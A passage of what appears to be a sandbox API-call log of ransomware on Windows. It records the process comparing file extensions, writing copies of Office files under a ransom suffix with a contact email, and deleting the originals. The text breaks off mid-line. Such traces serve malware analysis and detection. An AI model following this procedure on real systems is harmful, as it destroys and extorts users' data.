lstrlenW (lpString=".xlsx") returned 5 [0172.731] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0172.731] lstrlenW (lpString=".ppt") returned 4 [0172.731] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0172.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0172.731] lstrlenW (lpString=".zip") returned 4 [0172.731] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0172.731] lstrlenW (lpString=".rar") returned 4 [0172.731] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0172.731] lstrlenW (lpString=".bz2") returned 4 [0172.731] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0172.731] lstrlenW (lpString=".7z") returned 3 [0172.731] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0172.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0172.731] lstrlenW (lpString=".dbf") returned 4 [0172.732] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0172.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0172.732] lstrlenW (lpString=".1cd") returned 4 [0172.732] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0172.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0172.732] lstrlenW (lpString=".jpg") returned 4 [0172.732] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0172.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0172.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0172.732] lstrlenW (lpString=".doc") returned 4 [0172.732] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0172.732] lstrlenW (lpString=".docx") returned 5 [0172.732] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0172.732] lstrlenW (lpString=".pdf") returned 4 [0172.732] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0172.732] lstrlenW (lpString=".xls") returned 4 [0172.732] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0172.732] lstrlenW (lpString=".xlsx") returned 5 [0172.732] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0172.732] lstrlenW (lpString=".ppt") returned 4 [0172.732] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0172.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0172.732] lstrlenW (lpString=".zip") returned 4 [0172.732] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0172.732] lstrlenW (lpString=".rar") returned 4 [0172.733] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0172.733] lstrlenW (lpString=".bz2") returned 4 [0172.733] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0172.733] lstrlenW (lpString=".7z") returned 3 [0172.733] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0172.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0172.733] lstrlenW (lpString=".dbf") returned 4 [0172.733] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0172.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0172.733] lstrlenW (lpString=".1cd") returned 4 [0172.733] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0172.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0172.733] lstrlenW (lpString=".jpg") returned 4 [0172.733] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0172.733] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0172.733] lstrlenW (lpString="AppVDllSurrogate64.exe") returned 22 [0172.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0172.734] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=255192) returned 1 [0172.734] CloseHandle (hObject=0x548) returned 1 [0172.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe")) returned 0x220 [0172.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0172.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0172.735] lstrlenW (lpString=".doc") returned 4 [0172.735] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0172.735] lstrlenW (lpString=".docx") returned 5 [0172.735] lstrcmpiW (lpString1=".docx", lpString2="4.exe") returned -1 [0172.735] lstrlenW (lpString=".pdf") returned 4 [0172.735] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0172.735] lstrlenW (lpString=".xls") returned 4 [0172.735] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0172.735] lstrlenW (lpString=".xlsx") returned 5 [0172.735] lstrcmpiW (lpString1=".xlsx", lpString2="4.exe") returned -1 [0172.735] lstrlenW (lpString=".ppt") returned 4 [0172.735] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0172.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0172.735] lstrlenW (lpString=".zip") returned 4 [0172.736] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0172.736] lstrlenW (lpString=".rar") returned 4 [0172.736] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0172.736] lstrlenW (lpString=".bz2") returned 4 [0172.736] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0172.736] lstrlenW (lpString=".7z") returned 3 [0172.736] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0172.736] lstrlenW (lpString=".dbf") returned 4 [0172.736] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0172.736] lstrlenW (lpString=".1cd") returned 4 [0172.736] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0172.736] lstrlenW (lpString=".jpg") returned 4 [0172.736] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0172.736] lstrlenW (lpString=".doc") returned 4 [0172.736] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0172.736] lstrlenW (lpString=".docx") returned 5 [0172.736] lstrcmpiW (lpString1=".docx", lpString2="4.exe") returned -1 [0172.736] lstrlenW (lpString=".pdf") returned 4 [0172.736] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0172.736] lstrlenW (lpString=".xls") returned 4 [0172.736] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0172.737] lstrlenW (lpString=".xlsx") returned 5 [0172.737] lstrcmpiW (lpString1=".xlsx", lpString2="4.exe") returned -1 [0172.737] lstrlenW (lpString=".ppt") returned 4 [0172.737] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0172.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0172.737] lstrlenW (lpString=".zip") returned 4 [0172.737] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0172.737] lstrlenW (lpString=".rar") returned 4 [0172.737] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0172.737] lstrlenW (lpString=".bz2") returned 4 [0172.737] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0172.737] lstrlenW (lpString=".7z") returned 3 [0172.737] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0172.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0172.737] lstrlenW (lpString=".dbf") returned 4 [0172.737] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0172.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0172.737] lstrlenW (lpString=".1cd") returned 4 [0172.737] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0172.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0172.737] lstrlenW (lpString=".jpg") returned 4 [0172.737] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0172.738] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0172.738] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0172.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0172.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0172.738] lstrlenW (lpString=".doc") returned 4 [0172.738] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.738] lstrlenW (lpString=".docx") returned 5 [0172.738] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0172.738] lstrlenW (lpString=".pdf") returned 4 [0172.738] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.738] lstrlenW (lpString=".xls") returned 4 [0172.739] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.739] lstrlenW (lpString=".xlsx") returned 5 [0172.739] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0172.739] lstrlenW (lpString=".ppt") returned 4 [0172.739] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0172.739] lstrlenW (lpString=".zip") returned 4 [0172.739] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.739] lstrlenW (lpString=".rar") returned 4 [0172.739] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.739] lstrlenW (lpString=".bz2") returned 4 [0172.739] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.739] lstrlenW (lpString=".7z") returned 3 [0172.739] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0172.739] lstrlenW (lpString=".dbf") returned 4 [0172.739] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0172.739] lstrlenW (lpString=".1cd") returned 4 [0172.739] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0172.739] lstrlenW (lpString=".jpg") returned 4 [0172.739] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0172.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0172.740] lstrlenW (lpString=".doc") returned 4 [0172.740] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.740] lstrlenW (lpString=".docx") returned 5 [0172.740] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0172.740] lstrlenW (lpString=".pdf") returned 4 [0172.740] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.740] lstrlenW (lpString=".xls") returned 4 [0172.740] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.740] lstrlenW (lpString=".xlsx") returned 5 [0172.740] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0172.740] lstrlenW (lpString=".ppt") returned 4 [0172.740] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0172.740] lstrlenW (lpString=".zip") returned 4 [0172.740] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.740] lstrlenW (lpString=".rar") returned 4 [0172.740] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.740] lstrlenW (lpString=".bz2") returned 4 [0172.740] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.740] lstrlenW (lpString=".7z") returned 3 [0172.740] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0172.740] lstrlenW (lpString=".dbf") returned 4 [0172.740] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0172.740] lstrlenW (lpString=".1cd") returned 4 [0172.740] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0172.741] lstrlenW (lpString=".jpg") returned 4 [0172.741] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.741] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0172.741] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0172.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0172.742] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=473760) returned 1 [0172.742] CloseHandle (hObject=0x548) returned 1 [0172.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll")) returned 0x420 [0172.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0172.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0172.744] lstrlenW (lpString=".doc") returned 4 [0172.744] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.744] lstrlenW (lpString=".docx") returned 5 [0172.744] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0172.744] lstrlenW (lpString=".pdf") returned 4 [0172.744] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.744] lstrlenW (lpString=".xls") returned 4 [0172.744] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.744] lstrlenW (lpString=".xlsx") returned 5 [0172.744] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0172.744] lstrlenW (lpString=".ppt") returned 4 [0172.745] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0172.745] lstrlenW (lpString=".zip") returned 4 [0172.745] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.745] lstrlenW (lpString=".rar") returned 4 [0172.745] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.745] lstrlenW (lpString=".bz2") returned 4 [0172.745] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.745] lstrlenW (lpString=".7z") returned 3 [0172.745] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0172.745] lstrlenW (lpString=".dbf") returned 4 [0172.745] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0172.745] lstrlenW (lpString=".1cd") returned 4 [0172.745] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0172.745] lstrlenW (lpString=".jpg") returned 4 [0172.745] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0172.745] lstrlenW (lpString=".doc") returned 4 [0172.745] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.745] lstrlenW (lpString=".docx") returned 5 [0172.745] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0172.745] lstrlenW (lpString=".pdf") returned 4 [0172.745] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.745] lstrlenW (lpString=".xls") returned 4 [0172.745] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.745] lstrlenW (lpString=".xlsx") returned 5 [0172.745] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0172.745] lstrlenW (lpString=".ppt") returned 4 [0172.745] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0172.746] lstrlenW (lpString=".zip") returned 4 [0172.746] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.746] lstrlenW (lpString=".rar") returned 4 [0172.746] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.746] lstrlenW (lpString=".bz2") returned 4 [0172.746] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.746] lstrlenW (lpString=".7z") returned 3 [0172.746] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0172.746] lstrlenW (lpString=".dbf") returned 4 [0172.746] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0172.746] lstrlenW (lpString=".1cd") returned 4 [0172.746] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll") returned 65 [0172.746] lstrlenW (lpString=".jpg") returned 4 [0172.746] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.746] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0172.746] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0172.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0172.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0172.747] lstrlenW (lpString=".doc") returned 4 [0172.747] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.747] lstrlenW (lpString=".docx") returned 5 [0172.747] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0172.747] lstrlenW (lpString=".pdf") returned 4 [0172.747] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.747] lstrlenW (lpString=".xls") returned 4 [0172.747] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.747] lstrlenW (lpString=".xlsx") returned 5 [0172.747] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0172.747] lstrlenW (lpString=".ppt") returned 4 [0172.747] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0172.747] lstrlenW (lpString=".zip") returned 4 [0172.747] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.747] lstrlenW (lpString=".rar") returned 4 [0172.747] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.747] lstrlenW (lpString=".bz2") returned 4 [0172.747] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.747] lstrlenW (lpString=".7z") returned 3 [0172.747] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0172.747] lstrlenW (lpString=".dbf") returned 4 [0172.748] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0172.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0172.763] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=7384) returned 1 [0172.763] CloseHandle (hObject=0x548) returned 1 [0172.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220 [0172.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0172.765] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.765] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0172.766] GetLastError () returned 0x0 [0172.766] ReadFile (in: hFile=0x548, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0172.893] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0172.895] ReadFile (in: hFile=0x548, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.895] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xea, lpOverlapped=0x0) returned 1 [0172.895] SetEndOfFile (hFile=0x540) returned 1 [0172.895] CloseHandle (hObject=0x540) returned 1 [0172.895] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.895] SetEndOfFile (hFile=0x548) returned 1 [0172.899] CloseHandle (hObject=0x548) returned 1 [0172.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0173.373] lstrlenW (lpString="C:\\Program 